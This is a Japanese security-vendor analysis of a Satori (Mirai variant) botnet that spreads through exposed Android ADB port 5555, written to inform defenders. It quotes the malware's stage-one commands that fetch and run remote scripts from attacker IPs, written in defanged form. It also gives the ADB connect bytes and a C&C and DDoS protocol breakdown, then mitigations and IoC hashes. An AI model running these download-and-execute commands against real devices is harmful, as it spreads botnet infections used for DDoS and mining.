Android 端末の ADB ポートが「Mirai」の亜種「Satori」の拡散に利用されていることを確認

開放されたポートを狙う攻撃は、多くの IoTデバイスにおいて現在進行中の課題となっています。特に TCP 5555番ポートは以前にも攻撃に利用されており、このポートを開放したまま出荷し端末を攻撃に露出させてしまっていた製造業者も確認されています。

トレンドマイクロは、2018 年 7 月 9 日から 10 日と、15 日の 2 度にわたり、5555 ポートを狙う新しい攻撃を確認しました。この攻撃では、Android 端末のコマンドラインツール「Android Debug Bridge(ADB)」が利用されました。ADB は、「Android Software Development Kit(Android SDK)」に含まれており、通常は、アプリのインストールやデバッグなどを行う際に開発者が使用するツールです。弊社のデータによると、確認されたネットワークトラフィックは、第 1 波が主に中国と米国から、第 2 波が主に韓国からのものでした。

TCP 5555 番ポートで確認された活動

図 1:TCP 5555 番ポートで確認された活動

■攻撃の概要

ネットワークパケットの解析から、今回の攻撃で確認されたマルウェアは、開放された 5555 番ポートを検索し、ADB 接続を介して拡散することが判明しました。攻撃は 3 段階に分かれており、第 1 段階では、ADB 接続を介してシェルスクリプトを作成し実行します。この第 1 段階のシェルスクリプトが第 2 段階のシェルスクリプトをダウンロードします。次に、第 2 段階のシェルスクリプトが、第 3 段階のバイナリファイルをダウンロードし実行します。このバイナリファイルが、仮想通貨の発掘やワーム活動による拡散などの不正活動を行います。

■第 1 段階:ADB ポートを介してシェルスクリプトを作成、実行、および削除

攻撃の第 1 段階では、まず、TCP 5555 番ポートを介して、以下のコマンドで対象端末に ADB 接続し、第 1 段階のシェルスクリプトを感染端末にアップロードします。

“CNXN”,0,0,0,1,0,0×10,0,0,7,0,0,0,”2″,2,0,0,0xBC,0xB1,0xA7,0xB1,”host::”

アップロードされたスクリプトは、ファイルシステムから自身を削除し、メモリ上のプロセス名を、ランダムな文字列にアーキテクチャの名称をつなげた名前に変更します。

次に、ADB コマンドによって第 2 段階のシェルスクリプトをダウンロードし、実行します。第 2 段階のシェルスクリプトは実行後に削除されます。

2018 年 7 月 9 日から 10 日に確認された第 1 段階のシェルスクリプトは以下の通りです。第 2 段階のシェルスクリプト “adbs” がダウンロードされ、実行後に削除されます。

cd /dev/; busybox wget hxxp://95[.]215[.]62[.]169/adbs -O -> adbs; sh adbs; rm adbs

2018 年 7 月 9 日から 10 日の活動で確認された ADB コマンドのパケット

図 2:2018 年 7 月 9 日から 10 日の活動で確認された ADB コマンドのパケット

2018 年 7 月 15 日の活動で確認された第 1 段階のシェルスクリプトは以下の通りです。7 月 15 日の活動では、第 2 段階のシェルスクリプト “adbs” および “adbs2” がダウンロードされます。

cd /data/local/tmp/; busybox wget hxxp://185[.]62[.]189[.]149/adbs -O -> adbs; sh adbs; curl hxxp://185[.]62[.]189[.]149/adbs2 > adbs2; sh adbs2; rm adbs adbs2

2018 年 7 月 15 日の活動で確認された ADB コマンドのパケット

図 3:2018 年 7 月 15 日の活動で確認された ADB コマンドのパケット

■第 2 段階:バイナリファイルのダウンロードおよび実行

第 2 段階のシェルスクリプトは、さまざまなアーキテクチャ用のバイナリファイルをダウンロードし、対応したバイナリファイルを実行します。2 つのシェルスクリプトの機能は同一ですが、バイナリファイルのダウンロード方法が異なります。”abds” は「curl」コマンドでバイナリファイルをダウンロードします。一方、”abds2″ は、図 4 のように Unix の標準コマンドをまとめたパッケージ「BusyBox」に組み込まれた「wget」コマンドを使用します。

「wget」コマンドによってバイナリファイルをダウンロードするシェルスクリプト

図 4:「wget」コマンドによってバイナリファイルをダウンロードするシェルスクリプト

■第 3 段階:バイナリファイルによる不正活動

第 2 段階のシェルスクリプトによってダウンロードされるバイナリファイルは、まず、自身を対象端末のファイルシステムから削除します。次に、自身のディレクトリおよびファイル名が「./.f」であり、パラメータ「yItDitb2HvayJvNc」と共に実行されていることを確認します。それが確認できた場合、Google の DNS サーバを使用してコマンド&コントロール(C&C)サーバのホスト名「n[.]ukrainianhorseriding[.]com」を名前解決し、アクセスします。そうでない場合、ハードコードされた IP アドレス「95[.]215[.]62[.]169」の 7276 番ポートに接続します。

次に、3 つすべての標準入出力ストリームを閉じ、自身の IP アドレスを取得した後、2 つの子プロセスを起動します。

1 つ目の子プロセスは、実行中のすべてのプロセスをマッピングしたファイル「/proc/<プロセス ID(PID)>/maps」の中で、プロセス ID 「smi」、「xig」、または「trinity」が一時ファイルとして実行されていないか検索し、見つかった場合当該プロセスを終了します。「trinity」は Android 向けのファジングツールと思われます。一方、「smi」は、Amazon 端末を乗っ取って、仮想通貨発掘ツール「Coinhive」を利用して「Monero」を発掘する活動との関連が知られてたファイルです。

2 つ目の子プロセスはこのマルウェアをワーム活動によって拡散する機能を担っています。

メインのバイナリファイルは、上述した 3 つのプロセスをバイナリ形式で以下のディレクトリのいずれかで読み書きし、動作を継続します。

バイナリ形式でプロセスを書き込むディレクトリ

図 5:バイナリ形式でプロセスを書き込むディレクトリ

次に、このバイナリファイルは、C&C サーバに接続し、特別に細工したメッセージを C&C サーバに送信します。これは、「WWau14TJ8IapVXrrlFq0q5sxB」+「\x00 80 00 5A 00 57 00 C8 00 F0 00 1E 00 00」+arm7」のような 71 バイト長のメッセージです。3 番目の文字列は、32 バイト長でアーキテクチャを表したものです。

C&C サーバとの通信

図 6:C&C サーバとの通信

メッセージを受け取った C&C サーバは、2 バイトの数値(x)を返信します。x の数値は、表 1 のような意味を持っており、バイナリファイルは、1~6 のサイクルごとに、C&C サーバに対して 6 バイトの数列(9, 3, 2, 5, 8, 1)を返信します。

No. C&C サーバから送信される数字(x) X に対応する動作
1 x == 505 C&C サーバから次の 2 バイトを受信する
2 x == 0xDD99 子プロセスを停止し、動作を終了
3 x == 1024 接続を切断し 10 秒間スリープ
4

上記以外

C&C サーバから x バイトのデータを受信(※ただし、このデータは機能が未完成のためか使用されていない)
5 新しい x を受信
6 攻撃対象の一覧情報を含んだ x バイトのデータを受信

表 1:C&C サーバとの通信

C&C サーバから送信されるデータは「分散型サービス拒否(DDoS)攻撃」に利用されているものと考えられます。ヘッダには、攻撃対象の数と送信する IP パケットの種類が含まれています。ヘッダの後には、攻撃対象の IPv4 アドレス一覧、ポート番号、活動間のスリープ時間、そしてランダムな送信データのサイズが続きます。IP4 アドレスには、感染端末によってランダムに生成されたオフセットが加えられています。次に、バイナリファイルは、C&C サーバから受信した攻撃対象に対して、ランダムに生成したデータを含む細工した IP パケットを送信します。

攻撃対象に送信される IP パケットは以下のもので構成されています。

  • UDP:ランダムな長さのランダムなデータ
  • TCP SYN:ランダムな長さのランダムなデータ
  • TCP ACK:ランダムな長さのランダムなデータ
  • Generic Routing Encapsulation(GRE)トンネリングした UDP:ランダムなデータ

バイナリファイルは TCP SYN パケットの次に TCP ACK パケットを送信し、TCP ウィンドウのサイズ、送信元ポート、シーケンス番号、IP パケットの識別子が前のセッションと整合していることを確認します。各パケットの間には 3 秒間の待機時間があります。

■ボットネット「Mirai」の亜種「Satori」との関連

このバイナリファイルの興味深い点は、リサーチャによって確認された C&C サーバの IP アドレス「95[.]215[.]62[.]169」が、ボットネット「Mirai」の亜種「Satori」と関連していることです。今回の活動に関連した 2 つの IP アドレスの位置情報「GeoIP」を調査したところ、「95[.]215[.]62[.]169」はスペイン、「185[.]62[.]189[.]149」はオランダに位置していました。

同一の IP アドレスの他に、Satori で使用されていた文字列が確認されていることからも、今回確認された検体と Satori は同一の作成者によるものだと考えられます。この文字列は、単純な「XOR」アルゴリズムによって暗号化されていました。以前のバージョンでは、エンディアン変換と Base62 エンコーディングを組み合わせたより複雑な手法で暗号化していました。

「XOR」アルゴリズムで暗号化された文字列

図 7:「XOR」アルゴリズムで暗号化された文字列

暗号化された文字列を復号した結果は 図 8 の通りです。これらの文字列はすべて使用されているわけではないことに留意してください。

暗号化された文字列の復号結果

図 8:暗号化された文字列の復号結果

上述したように、ワーム活動によって感染可能な端末を検索する機能は、今回確認された 2 度にわたる攻撃が、さらに多くの端末に影響を与える別の攻撃の準備に過ぎず、ツールおよび戦術をテストしていたに過ぎないことを意味しているかもしれません。

C&C サーバのドメインは、すでに停止している別の C&C ドメイン「rippr[.]cc」と同じメールアドレスによって登録されていました。

C&C ドメインの情報

図 9:C&C ドメインの情報

■影響を受けるデバイス

インターネットに接続しているさまざまな端末機器を対象にしたオンライン検索エンジン「Shodan」の検索結果によると、 48,000 以上の「モノのインターネット(Internet of Things、IoT)デバイス」が ADB を介した攻撃の影響を受ける可能性があります。また、ルータのNetwork Address Translation(NAT)によって直接インターネットに露出していない Android 端末であっても、設定に不備がある場合、手動または UPnP NAT トラバーサルによってアクセスされ、ADB を介した攻撃の影響を受ける可能性があります。ユーザのパスワードの強度にかかわらず、マルチメディアデバイス、スマート TV、携帯電話など、特に対策を取っていないすべての Android 端末が今回の攻撃の対象となり得ます。

■被害に遭わないためには

Android 端末の設定を変更しても問題がない場合は、「設定」から「開発者向けオプション」を選択し、「USB デバッグ」が無効になっていることを確認してください。「開発者向けオプション」自体が無効になっているまたは表示されていない場合は自動的に「USB デバッグ」も無効になっています。もし、自身のデバイスが今回の脅威に感染した疑いがある場合、工場出荷時に戻すことでマルウェアを削除することが可能です。

一般的な原則として、モバイル端末のユーザは定期的にデバイスのオペレーティングシステム(OS)およびアプリケーションを最新版に更新してください。これにより、デバイスの機能改善だけでなく、悪用される恐れのある脆弱性に対処することが可能になります。

セキュリティソフトウェアの利用も選択肢の1つです。トレンドマイクロの組込み型ホームネットワークセキュリティ「Trend Micro Smart Home Network™」をご利用のお客様は、以下のルールによって今回の脅威から保護されています。

  • 1134867 EXPLOIT Remote Command Execution via Android Debug Bridge

■侵入の痕跡(Indicator of Compromise、IoC)

UNIX_MIRAI.DLDS」として検出されるマルウェアのハッシュ値は以下の通りです。

  • 79d55852af173612562718544ecdc569b0b8e0094647d609040f8fcc67112cba
  • 144e9093b50d7a0bf92ccc29dbbdab4955a8ef028ec2a4a64f2c16778fc0ba43

ELF_MIRAI.LBOUG」として検出されるマルウェアのハッシュ値は以下の通りです。

  • 2815ab8fe6d48982540524c6ac55e1df3a77a2e90c32114fde05bdc3bb353bea
  • 144e9093b50d7a0bf92ccc29dbbdab4955a8ef028ec2a4a64f2c16778fc0ba43
  • 01eca0d68cc8c2d7ad6aa8021852b57a04b8a4ca7d13e164095b29fd06a1ed9f
  • 4c3983040b2c72e4df9742c1314dcf8cd703805ab6aaa9185324b70fd530746e

調査協力:Chunbo Song、Tim Yeh

参考記事:

翻訳: 澤山 高士(Core Technology Marketing, TrendLabs)